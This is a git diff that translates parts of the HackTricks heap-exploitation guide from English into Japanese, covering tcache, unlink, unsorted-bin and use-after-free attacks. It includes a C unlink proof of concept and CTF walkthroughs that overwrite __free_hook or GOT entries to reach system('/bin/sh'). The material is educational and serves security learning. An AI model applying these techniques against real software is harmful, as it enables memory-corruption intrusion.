**Tcacheインデックス攻撃**:前回と似た攻撃ですが、**Tcache情報を含むチャンクを解放する**ことでステップを減らします。これにより、そのアドレスがそのサイズのTcacheインデックスに追加され、そのサイズを割り当ててTcacheチャンク情報をチャンクとして取得できるようになります。これにより、free hookをインデックスのアドレスとして追加し、割り当てて、one gadgetを書き込むことが可能になります。 - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - - **Write After Free** to add a number to the `fd` pointer. - - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - - **Glibc leak** through `stdout` (FSOP). - - **Tcache poisoning** to get an arbitrary write primitive. +- **Write After Free**で`fd`ポインタに数値を追加します。 +- このチャレンジでは多くの**ヒープフェンシュイ**が必要です。書き込みでは、**Tcache**のフリーリストのヘッドを制御することが非常に便利であることが示されています。 +- **Glibc漏洩**を`stdout`を介して(FSOP)。 +- **Tcache poisoning**を使用して任意の書き込みプリミティブを取得します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md index 959ff36db..17ac3e77a 100644 --- a/src/binary-exploitation/libc-heap/unlink-attack.md +++ b/src/binary-exploitation/libc-heap/unlink-attack.md @@ -2,16 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. +この攻撃が発見されたとき、主にWWW(Write What Where)を可能にしましたが、いくつかの**チェックが追加され**、攻撃の新しいバージョンはより興味深く、より複雑で、**無意味**になりました。 -### Code Example: +### コード例:
-Code - +コード ```c #include #include @@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { - size_t prev_size; - size_t size; - struct chunk_structure *fd; - struct chunk_structure *bk; - char buf[10]; // padding +size_t prev_size; +size_t size; +struct chunk_structure *fd; +struct chunk_structure *bk; +char buf[10]; // padding }; int main() { - unsigned long long *chunk1, *chunk2; - struct chunk_structure *fake_chunk, *chunk2_hdr; - char data[20]; +unsigned long long *chunk1, *chunk2; +struct chunk_structure *fake_chunk, *chunk2_hdr; +char data[20]; - // First grab two chunks (non fast) - chunk1 = malloc(0x8000); - chunk2 = malloc(0x8000); - printf("Stack pointer to chunk1: %p\n", &chunk1); - printf("Chunk1: %p\n", chunk1); - printf("Chunk2: %p\n", chunk2); +// First grab two chunks (non fast) +chunk1 = malloc(0x8000); +chunk2 = malloc(0x8000); +printf("Stack pointer to chunk1: %p\n", &chunk1); +printf("Chunk1: %p\n", chunk1); +printf("Chunk2: %p\n", chunk2); - // Assuming attacker has control over chunk1's contents - // Overflow the heap, override chunk2's header +// Assuming attacker has control over chunk1's contents +// Overflow the heap, override chunk2's header - // First forge a fake chunk starting at chunk1 - // Need to setup fd and bk pointers to pass the unlink security check - fake_chunk = (struct chunk_structure *)chunk1; - fake_chunk->size = 0x8000; - fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P - fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P +// First forge a fake chunk starting at chunk1 +// Need to setup fd and bk pointers to pass the unlink security check +fake_chunk = (struct chunk_structure *)chunk1; +fake_chunk->size = 0x8000; +fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P +fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P - // Next modify the header of chunk2 to pass all security checks - chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); - chunk2_hdr->prev_size = 0x8000; // chunk1's data region size - chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit +// Next modify the header of chunk2 to pass all security checks +chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); +chunk2_hdr->prev_size = 0x8000; // chunk1's data region size +chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit - // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' - // This results in chunk1 pointer pointing to chunk1 - 3 - // i.e. chunk1[3] now contains chunk1 itself. - // We then make chunk1 point to some victim's data - free(chunk2); - printf("Chunk1: %p\n", chunk1); - printf("Chunk1[3]: %x\n", chunk1[3]); +// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' +// This results in chunk1 pointer pointing to chunk1 - 3 +// i.e. chunk1[3] now contains chunk1 itself. +// We then make chunk1 point to some victim's data +free(chunk2); +printf("Chunk1: %p\n", chunk1); +printf("Chunk1[3]: %x\n", chunk1[3]); - chunk1[3] = (unsigned long long)data; +chunk1[3] = (unsigned long long)data; - strcpy(data, "Victim's data"); +strcpy(data, "Victim's data"); - // Overwrite victim's data using chunk1 - chunk1[0] = 0x002164656b636168LL; +// Overwrite victim's data using chunk1 +chunk1[0] = 0x002164656b636168LL; - printf("%s\n", data); +printf("%s\n", data); - return 0; +return 0; } ``` -
-- Attack doesn't work if tcaches are used (after 2.26) +- この攻撃は、tcachesが使用されている場合(2.26以降)には機能しません。 -### Goal +### 目標 -This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. +この攻撃は、**チャンクへのポインタを自分自身の3つのアドレス前を指すように変更する**ことを可能にします。この新しい位置(ポインタがあった場所の周囲)に、他の制御可能なアロケーションやスタックなどの興味深いものがある場合、それらを読み取ったり上書きしたりして、より大きな被害を引き起こすことが可能です。 -- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary -- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). +- このポインタがスタックにあった場合、現在は自分自身の3つのアドレス前を指しているため、ユーザーがそれを読み取ったり変更したりできる可能性があるため、スタックから機密情報を漏洩させたり、リターンアドレスを(おそらく)変更したりすることが可能になります。カナリアに触れずに。 +- CTFの例では、このポインタは他のアロケーションへのポインタの配列にあり、したがって、3つのアドレス前を指すようにし、それを読み書きできるようにすることで、他のポインタを他のアドレスを指すようにすることが可能です。\ +ユーザーが他のアロケーションも読み書きできる可能性があるため、情報を漏洩させたり、任意の場所に新しいアドレスを上書きしたりすることができます(GOTのように)。 -### Requirements +### 要件 -- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. -- Stack leak in order to set the pointers of the fake chunk. +- メモリ(例:スタック)内でいくつかの制御を行い、いくつかの属性に値を与えるチャンクを作成すること。 +- フェイクチャンクのポインタを設定するためのスタックリーク。 -### Attack +### 攻撃 -- There are a couple of chunks (chunk1 and chunk2) -- The attacker controls the content of chunk1 and the headers of chunk2. -- In chunk1 the attacker creates the structure of a fake chunk: - - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: +- いくつかのチャンク(chunk1とchunk2)が存在します。 +- 攻撃者はchunk1の内容とchunk2のヘッダーを制御します。 +- chunk1で攻撃者はフェイクチャンクの構造を作成します: +- 保護を回避するために、`size`フィールドが正しいことを確認して、エラーを回避します:`corrupted size vs. prev_size while consolidating` +- フェイクチャンクの`fd`と`bk`フィールドは、chunk1ポインタが格納されている場所をそれぞれ-3および-2のオフセットで指すように設定されているため、`fake_chunk->fd->bk`と`fake_chunk->bk->fd`は、メモリ(スタック)内の実際のchunk1アドレスが格納されている位置を指します:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. -- When the second chunk is freed then this fake chunk is unlinked happening: - - `fake_chunk->fd->bk` = `fake_chunk->bk` - - `fake_chunk->bk->fd` = `fake_chunk->fd` -- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. -- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. +- chunk2のヘッダーは、前のチャンクが使用されていないことと、サイズが含まれているフェイクチャンクのサイズであることを示すように変更されます。 +- 2番目のチャンクが解放されると、このフェイクチャンクがアンリンクされ、次のようになります: +- `fake_chunk->fd->bk` = `fake_chunk->bk` +- `fake_chunk->bk->fd` = `fake_chunk->fd` +- 以前に、`fake_chunk->fd->bk`と`fake_chunk->bk->fd`が同じ場所(`chunk1`が格納されていたスタック内の位置)を指すように設定されていたため、これは有効なリンクリストでした。**両方が同じ位置を指しているため**、最後のもの(`fake_chunk->bk->fd = fake_chunk->fd`)だけが**効果**を持ちます。 +- これにより、**スタック内のchunk1へのポインタが、スタック内の3つのアドレス前に格納されているアドレス(またはバイト)に上書きされます**。 +- したがって、攻撃者が再びchunk1の内容を制御できる場合、**スタック内に書き込むことができ**、カナリアをスキップしてリターンアドレスを上書きし、ローカル変数の値やポインタを変更することが可能になります。攻撃者が再びchunk1のアドレスをスタック内の異なる位置に変更できる場合、再びchunk1の内容を制御できれば、どこにでも書き込むことができるようになります。 +- これは、**アドレスがスタックに格納されているため**可能でした。リスクと悪用は、**フェイクチャンクへのアドレスがどこに格納されているか**に依存する可能性があります。

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-## References +## 参考文献 - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) -- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. +- CTFでunlink攻撃を見つけるのは奇妙ですが、ここにはこの攻撃が使用されたいくつかのワriteupがあります: +- CTFの例:[https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) +- この例では、スタックの代わりにmallocされたアドレスの配列があります。unlink攻撃は、ここにチャンクを割り当てることができるように行われ、mallocされたアドレスの配列のポインタを制御できるようになります。次に、これらのアドレス内のチャンクの内容を変更する機能があり、アドレスをGOTに指し、関数アドレスを変更してリークとRCEを取得します。 +- 別のCTFの例:[https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) +- 前の例と同様に、アロケーションのアドレスの配列があります。unlink攻撃を実行して、最初のアロケーションへのアドレスを配列の開始前のいくつかの位置に指すようにし、新しい位置でこのアロケーションを上書きすることが可能です。したがって、他のアロケーションのポインタを上書きして、atoiのGOTを指し、libcリークを取得するためにそれを印刷し、次にatoiのGOTをワンガジェットのアドレスで上書きすることが可能です。 +- unlink攻撃に非常に似た脆弱性を悪用するカスタムmallocおよびfree関数を使用したCTFの例:[https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) +- FDおよびBKポインタを制御することを可能にするオーバーフローがあります。さらに、ヒープにはexecビットがあるため、ヒープアドレスを漏洩させ、GOTから関数をヒープチャンクにポイントしてシェルコードを実行することが可能です。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 65d509c48..fc739f61d 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -2,72 +2,72 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -For more information about what is an unsorted bin check this page: +未整理ビンについての詳細はこのページを確認してください: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +未整理リストは、チャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者が未整理ビン内のチャンクの `bk` ポインタのアドレスを**変更できれば**、**そのアドレスを任意のアドレスに書き込むことができ**、Glibc アドレスを漏洩させたり、いくつかの防御を回避したりするのに役立ちます。 -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). +基本的に、この攻撃は**任意のアドレスに大きな数を設定することを可能にします**。この大きな数はアドレスであり、ヒープアドレスまたはGlibcアドレスである可能性があります。典型的なターゲットは**`global_max_fast`**であり、これによりより大きなサイズのファストビンを作成できるようになります(未整理ビン攻撃からファストビン攻撃に移行します)。 > [!TIP] -> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. +> 提供された例を見て、[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) で 0x4000 と 0x5000 をチャンクサイズとして使用すると(Tcacheを避けるため)、**現在**エラー **`malloc(): unsorted double linked list corrupted`** が発生することがわかります。 > -> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. +> したがって、この未整理ビン攻撃は現在(他のチェックとともに)二重リンクリストを修正できる必要があり、`victim->bk->fd == victim` または `victim->fd == av (arena)` を回避する必要があります。これは、書き込みたいアドレスがその `fd` ポジションにフェイクチャンクのアドレスを持ち、フェイクチャンクの `fd` がアリーナを指していることを意味します。 > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> この攻撃は未整理ビンを破損させることに注意してください(したがって小さなものと大きなものも)。したがって、**現在はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、これをトリガーするには、**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> **`global_max_fast`** を上書きすることは、この場合に役立つかもしれません。ファストビンが他のすべての割り当てを処理できると信頼して、エクスプロイトが完了するまで。 -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) のコードは非常によく説明していますが、mallocを変更して十分なメモリを割り当て、Tcacheに終わらないようにすると、前述のエラーが発生し、この技術を防ぐことができます:**`malloc(): unsorted double linked list corrupted`** -## Unsorted Bin Infoleak Attack +## 未整理ビン情報漏洩攻撃 -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +これは実際には非常に基本的な概念です。未整理ビン内のチャンクにはポインタが含まれます。未整理ビンの最初のチャンクは、実際には**`fd`** と **`bk`** リンクが**メインアリーナ(Glibc)の一部を指しています**。\ +したがって、**未整理ビン内にチャンクを置いてそれを読み取ることができれば**(use after free)または**ポインタの少なくとも1つを上書きせずに再度割り当ててから**それを**読み取ることができれば、**Glibc情報漏洩**を得ることができます。 -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +この[**攻撃はこの書き込みで使用されました**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)が、4つのチャンク構造(A、B、C、D - Dはトップチャンクとの統合を防ぐためだけに存在します)を悪用するもので、Bでのヌルバイトオーバーフローを使用してCがBが未使用であることを示すようにしました。また、Bでは `prev_size` データが変更され、サイズがBのサイズではなくA+Bになりました。\ +その後、Cが解放され、A+Bと統合されました(ただしBはまだ使用中でした)。サイズAの新しいチャンクが割り当てられ、その後、libcから漏洩したアドレスがBに書き込まれ、そこから漏洩しました。 -## References & Other examples +## 参考文献と他の例 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. +- 目標は、4869より大きな値でグローバル変数を上書きすることで、フラグを取得できるようにし、PIEは有効になっていません。 +- 任意のサイズのチャンクを生成でき、希望のサイズでヒープオーバーフローがあります。 +- 攻撃は3つのチャンクを作成することから始まります:チャンク0はオーバーフローを悪用し、チャンク1はオーバーフローされ、チャンク2はトップチャンクが前のものと統合しないようにします。 +- 次に、チャンク1が解放され、チャンク0がチャンク1の `bk` ポインタを指すようにオーバーフローします:`bk = magic - 0x10` +- 次に、チャンク1と同じサイズのチャンク3が割り当てられ、これが未整理ビン攻撃をトリガーし、グローバル変数の値を変更し、フラグを取得できるようにします。 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - - Now a **fast bin attack** is performed: - - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - -
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-      gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-      0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-      0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-      
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- マージ関数は脆弱であり、渡された両方のインデックスが同じであれば、それを再割り当てし、その後解放しますが、解放された領域へのポインタを返します。 +- したがって、**2つのチャンクが作成されます**:**チャンク0**は自分自身とマージされ、チャンク1はトップチャンクとの統合を防ぎます。次に、**マージ関数がチャンク0で2回呼び出され**、これにより使用後の解放が発生します。 +- 次に、**`view`** 関数がインデックス2(使用後の解放チャンクのインデックス)で呼び出され、**libcアドレスが漏洩します**。 +- バイナリには**`global_max_fast`** より大きなサイズのみをmallocする保護があるため、ファストビンは使用されず、未整理ビン攻撃が使用されてグローバル変数 `global_max_fast` を上書きします。 +- 次に、インデックス2(使用後の解放ポインタ)で編集関数を呼び出し、`bk` ポインタを `p64(global_max_fast-0x10)` を指すように上書きします。次に、新しいチャンクを作成すると、以前に妥協された解放アドレス(0x20)が使用され、**未整理ビン攻撃がトリガーされ**、`global_max_fast` を非常に大きな値で上書きし、ファストビンでチャンクを作成できるようになります。 +- ここで**ファストビン攻撃**が実行されます: +- まず、**`__free_hook`** の場所でサイズ200のファストチャンクを操作できることがわかります: +-
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+
+- この場所でサイズ0x200のファストチャンクを取得できれば、実行される関数ポインタを上書きすることが可能になります。 +- そのために、サイズ `0xfc` の新しいチャンクを作成し、そのポインタでマージ関数を2回呼び出すことで、ファストビン内のサイズ `0xfc*2 = 0x1f8` の解放されたチャンクへのポインタを取得します。 +- 次に、このチャンクの編集関数を呼び出して、このファストビンの**`fd`** アドレスを前の**`__free_hook`** 関数を指すように変更します。 +- 次に、サイズ `0x1f8` のチャンクを作成して、ファストビンから以前の無駄なチャンクを取得し、別のサイズ `0x1f8` のチャンクを作成して、**`__free_hook`** 内のファストビンチャンクを取得し、**`system`** 関数のアドレスで上書きします。 +- 最後に、文字列 `/bin/sh\x00` を含むチャンクが削除関数を呼び出して解放され、**`__free_hook`** 関数がトリガーされ、`system` に `/bin/sh\x00` をパラメータとして渡します。 +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- 1Bオーバーフローを悪用して未整理ビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをワンガジェットアドレスで上書きする別の例 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- サイズが `0x100` より大きいチャンクのみを割り当てることができます。 +- 未整理ビン攻撃を使用して `global_max_fast` を上書きします(ASLRのため1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります)。 +- グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を `system` にポイントさせることができます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index d6fd34f42..c1b952f08 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -2,16 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. +名前が示すように、この脆弱性はプログラムがオブジェクトのためにヒープに**いくつかのスペースを保存し**、そこに**情報を書き込み**、もう必要ないと思って**解放し**、その後**再度アクセスする**ときに発生します。 -The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). +ここでの問題は、**解放されたメモリにアクセスしても**違法ではない(**エラーは発生しない**)ことです。したがって、プログラム(または攻撃者)が**解放されたメモリを再割り当てし、任意のデータを保存する**ことができた場合、解放されたメモリが最初のポインタからアクセスされると、その**データが上書きされてしまう**ため、**元のデータの感度に依存する脆弱性が発生します**(もしそれが呼び出される関数のポインタであった場合、攻撃者はそれを制御できる可能性があります)。 -### First Fit attack +### ファーストフィット攻撃 -A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ -Check more info in: +ファーストフィット攻撃は、glibcのような一部のメモリアロケータが解放されたメモリを管理する方法をターゲットにしています。メモリブロックを解放すると、それはリストに追加され、新しいメモリリクエストはそのリストの末尾から取得されます。攻撃者はこの動作を利用して、**どのメモリブロックが再利用されるかを操作し、潜在的にそれらを制御する**ことができます。これにより、「use-after-free」問題が発生し、攻撃者が**再割り当てされたメモリの内容を変更する**ことで、セキュリティリスクが生じる可能性があります。\ +詳細は以下を確認してください: {{#ref}} first-fit.md diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 7bab07aea..79baef82c 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -4,36 +4,33 @@ ## **First Fit** -When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. 